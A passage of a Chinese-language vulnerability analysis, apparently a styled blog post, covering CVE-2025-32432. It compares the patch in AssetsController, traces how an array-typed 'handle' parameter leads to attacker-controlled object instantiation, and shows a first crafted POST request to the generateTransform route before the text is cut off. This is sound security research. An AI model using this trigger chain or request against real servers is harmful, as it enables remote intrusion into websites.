1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">CVE-2025-32432</span></h2><h3 data-heading="true" style="box-sizing: border-box;border-width: 1px 1px 1px 4px;border-style: solid;border-color: color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) rgb(15, 76, 129);font-size: 18px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 2.4em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 12px;color: rgb(63, 63, 63);border-radius: 6px;background: color-mix(in srgb, rgb(15, 76, 129) 8%, transparent);"><span leaf="">补丁对比</span></h3><span leaf="">在</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">AssetsController.php</span></p><span leaf="">中，函数</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">actionGenerateTransform</span></p><span leaf="">增加了对请求参数</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">handle</span></p><span leaf="">的判断，将参数限定为字符串类型 ：</span><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008305" class="rich_pages wxw-img" data-ratio="0.3155818540433925" data-type="png" data-w="1014" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=43457a51&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRkt0db5oOK7CDUawJevUANzJn0E41HPuxLYFrgDbG2k9HFyTicrtmFXQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><h3 data-heading="true" style="box-sizing: border-box;border-width: 1px 1px 1px 4px;border-style: solid;border-color: color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) rgb(15, 76, 129);font-size: 18px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 2.4em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 12px;color: rgb(63, 63, 63);border-radius: 6px;background: color-mix(in srgb, rgb(15, 76, 129) 8%, transparent);"><span leaf="">触发点分析</span></h3><span leaf="">与</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CVE-2023-41892</span></p><span leaf="">的触发点</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ConditionsController</span></p><span leaf="">类似，</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">AssetsController</span></p><span leaf="">也继承于</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Controller</span></p><span leaf="">。</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">actionGenerateTransform</span></p><span leaf="">函数分别提取</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">assetId</span></p><span leaf="">和</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">handle</span></p><span leaf="">请求参数，然后通过</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">normalizeTransform</span></p><span leaf="">对</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">handle</span></p><span leaf="">参数进行处理，注意到其中一个</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">if</span></p><span leaf="">判断的分支：当</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">handle</span></p><span leaf="">满足</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">is_array</span></p><span leaf="">类型时，将实例化</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ImageTransform</span></p><span leaf="">对象，并且构造函数的输入参数为</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">handle</span></p><span leaf="">：</span><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008308" class="rich_pages wxw-img" data-ratio="0.503448275862069" data-type="png" data-w="1015" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=3cea6c2f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxTibMssetbldyic7lcg4BMkR6CMXY2khl3XLCc2tjoIJE726tAo9NIZcHOmCgjm8VZloC7gnt5AzhA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ImageTransform</span></p><span leaf="">将调用父类</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Model</span></p><span leaf="">的</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">__construct</span></p><span leaf="">函数，进而调用</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">App::configure</span></p><span leaf="">，并且输入参数</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">$config</span></p><span leaf="">来自于</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">handle</span></p><span leaf="">可控，与</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CVE-2023-41892</span></p><span leaf="">一样，这里同样可以触发</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">createObject</span></p><span leaf="">并完成类实例化：</span><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008311" class="rich_pages wxw-img" data-ratio="0.48035363457760316" data-type="png" data-w="1018" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=d6fb966d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRsoIKr6uqxcMsOQJpg4GszoLre0yF7mLfSXto8VHVZAkrJr6cbXiaCNg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><h3 data-heading="true" style="box-sizing: border-box;border-width: 1px 1px 1px 4px;border-style: solid;border-color: color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) rgb(15, 76, 129);font-size: 18px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 2.4em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 12px;color: rgb(63, 63, 63);border-radius: 6px;background: color-mix(in srgb, rgb(15, 76, 129) 8%, transparent);"><span leaf="">新请求路由分析</span></h3><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">参考 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CVE-2023-41892</span></p><span leaf=""> ，尝试构造如下请求：</span></div><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">POST</span></span><span leaf=""> </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">/</span></span><span leaf=""> </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);"><span leaf="">HTTP/1.1</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);"><span leaf="">Host</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));"><span leaf="">: </span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);"><span leaf="">User-Agent</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));"><span leaf="">: </span></span><span leaf="">Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);"><span leaf="">Cookie</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));"><span leaf="">: </span></span><span leaf="">XDEBUG_SESSION=PHPSTORM</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);"><span leaf="">Connection</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));"><span leaf="">: </span></span><span leaf="">close</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);"><span leaf="">Content-Type</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));"><span leaf="">: </span></span><span leaf="">application/x-www-form-urlencoded</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);"><span leaf="">Content-Length</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));"><span leaf="">: </span></span><span leaf="">31</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);"><span leaf="">action</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);"><span leaf="">=</span></span><span leaf="">assets/generateTransform</span></span></p></pre><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">在 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">createAction</span></p><span leaf=""> 函数中判断 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, 